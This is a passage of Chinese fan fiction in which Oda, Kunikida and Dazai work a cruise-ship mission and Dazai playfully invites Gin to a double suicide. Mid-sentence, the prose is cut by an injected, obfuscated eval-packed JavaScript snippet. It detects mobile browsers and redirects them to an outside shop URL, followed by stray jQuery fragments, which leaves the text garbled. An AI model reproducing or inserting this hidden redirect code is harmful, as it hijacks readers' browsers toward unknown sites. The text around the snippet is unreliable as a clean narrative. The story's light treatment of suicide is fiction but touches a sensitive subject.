国木田抬起头,推了推眼镜,点了点头:“好,注意隐蔽,别暴露身份。另外,留意一下可疑人员,尤其是那些行踪诡异、气场不凡的人,很可能是组织或其他势力的成员。”
两人简单道别后,便朝着不同的方向走去。国木田转身朝着中层客房区走去,脚步沉稳,目光警惕地扫视着四周;织田作之助则朝着甲板的方向走去,神情看似放松,实则早已将注意力集中在周围的动静上。
刚走上甲板,织田作之助就看到了一道熟悉的身影。
太宰治身着沙色风衣,倚在甲板边缘的围栏上,长发被海风吹得凌乱,脸上带着惯有的慵懒笑容,眼神却盯着下方翻滚的海水,眼底闪烁着跃跃欲试的光芒,仿佛下一秒就要纵身跳下去。
织田作之助快步走了过去,也朝着围栏外看了一眼。下方的海水波涛汹涌,游轮行驶带动的浪花翻滚不息,巨大的螺旋桨在水下高速转动,搅起阵阵漩涡,透着令人心悸的危险。
他摇了摇头,语气平淡却带着不容置疑的认真:“太宰,别想了,从这里跳下去,很容易被卷入螺旋桨之中,死的很难看。”
太宰治听到声音,缓缓转过身,脸上的笑容依旧,却多了几分失望:“哎呀,织田作,你怎么总能破坏我的好心情?”
他原本正琢磨着跳海自杀会不会是一种浪漫的死法,被织田作之助这么一说,所有的兴致都烟消云散了。他很清楚织田作之助的性格,从不危言耸听,既然这么说,就一定是事实——被螺旋桨卷入而死,想想都觉得狼狈,完全不符合他对“完美自杀”的期待。
“我只是不想看到你以这么难看的方式死去。”织田作之助的语气依旧平淡,他从口袋里掏出一颗糖,递给太宰治,“而且,我们还有任务在身,别胡闹。”
太宰治接过糖,剥开糖纸塞进嘴里,甜腻的味道在舌尖蔓延,驱散了心中的失望。他撇了撇嘴,不再盯着海面,反而靠在围栏上,目光随意地扫视着甲板上的人群,语气慵懒地说道:“知道啦知道啦,不跳就是了。不过话说回来,这艘游轮上还真是热闹呢,到处都是心怀鬼胎的人。”
他的洞察力极为敏锐,虽然看似漫不经心,却早已察觉到甲板上不少人的异常——有的人身形挺拔,目光警惕,显然是保镖;有的人眼神闪烁,四处张望,显然在寻找什么;还有的人气场冰冷,周身散发着肃杀之气,一看就绝非善类。
织田作之助顺着太宰治的目光看去,眼底闪过一丝凝重。他也察觉到了甲板上的异常,各方势力汇聚于此,必然会引发一场血雨腥风。
“别大意,”织田作之助的语气严肃了几分,“我们的任务是确保游轮上无辜人员的安全。”
太宰治摆了摆手,语气依旧慵懒:“放心吧,我可不会随便惹麻烦。不过,要是有人主动找上门来,我也不介意陪他们玩玩。”
他的嘴角勾起一抹玩味的笑容,眼底却闪过一丝锐利的光芒。
目送织田作之助的身影融入甲板的人群,太宰治收起了脸上的玩味,指尖无意识地摩挲着风衣口袋里的异能特务科工牌。
他清楚,自己还有一年的工期要熬,只有安安稳稳做完这一年,才能彻底洗白在港口黑手党的档案,往后才能活得自在些——至少,不用再被过去的身份束缚,也能少让织田作和安吾担心。
织田作要专心巡视甲板,自己自然不能在一旁添乱,不如找些“乐子”打发时间。
想到这里,太宰治又恢复了那副漫不经心的模样,双手插在风衣口袋里,一摇一晃地朝着楼梯口走去,步伐闲散,像只无拘无束的猫。
他记得游轮二楼有个游乐区,刚才登船时隐约瞥见里面热闹得很,想来应该满是快乐的孩子和女士,说不定能找到一个可爱的女孩子,和自己来一场浪漫的殉情。这个念头一旦冒出来,就像藤蔓般缠上心头,让他眼底多了几分期待。
顺着旋转楼梯走上二楼,游乐区的喧嚣瞬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277388|188816||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间扑面而来。彩色的气球悬挂在天花板上,旋转木马缓缓转动,传来清脆的音乐;几个孩子举着棉花糖,在场地里追逐打闹,笑声甜得像蜂蜜;几位女士围坐在休息区的圆桌旁,低声聊着天,脸上带着惬意的笑容。整个游乐区都弥漫着轻松愉悦的气息,与甲板上暗藏的紧张格格不入。
太宰治慢悠悠地穿梭在人群中,目光扫过一张张笑脸,嘴里还小声嘀咕着:“可爱的女孩子在哪里呢……最好是愿意和我一起沉入海底的那种。”
他的目光掠过追逐打闹的小女孩,又扫过闲谈的女士们,却没找到一个合心意的——要么年纪太小,要么眼神里满是对生活的眷恋,显然不可能答应他殉情的请求。
就在他有些失望,准备转身离开时,目光突然被休息区角落的一道身影吸引住了。那里远
离喧闹的人群,光线相对柔和,一张圆桌旁,坐着一个身着银灰色西装的男人。男人有着一头银白色的长发,编成了发辫松散地垂落在肩头,侧脸线条冷硬凌厉,下颌线清晰分明,即便是随意坐着,周身也散发着生人勿近的冰冷气场,与整个游乐区的热闹格格不入,却又自带一种致命的吸引力。
太宰治的眼睛瞬间亮了起来,刚才的失望一扫而空,眼底满是惊喜。他原本是来找可爱女孩子殉情的,可眼前这个银发美男,气场独特,颜值出众,莫名让他觉得“或许和这样的人一起离世,也算是一种不错的选择”。
当然,重要的是他认识这个人!
他收敛了周身的气息,脚步轻快地走了过去,没有丝毫犹豫,也没有刻意打招呼,动作流畅得仿佛演练过无数次一般,一屁股坐到了琴酒的对面。
沙色风衣的下摆随着他的动作轻轻晃动,他微微歪着头,脸上挂着惯有的慵懒笑容,眼神里带着几分戏谑,直勾勾地盯着琴酒,语气轻快地开口:“这位先生,你长得可真好看啊。要不要和我一起殉情?在这样的大海上,沉入海底,应该会很浪漫吧。”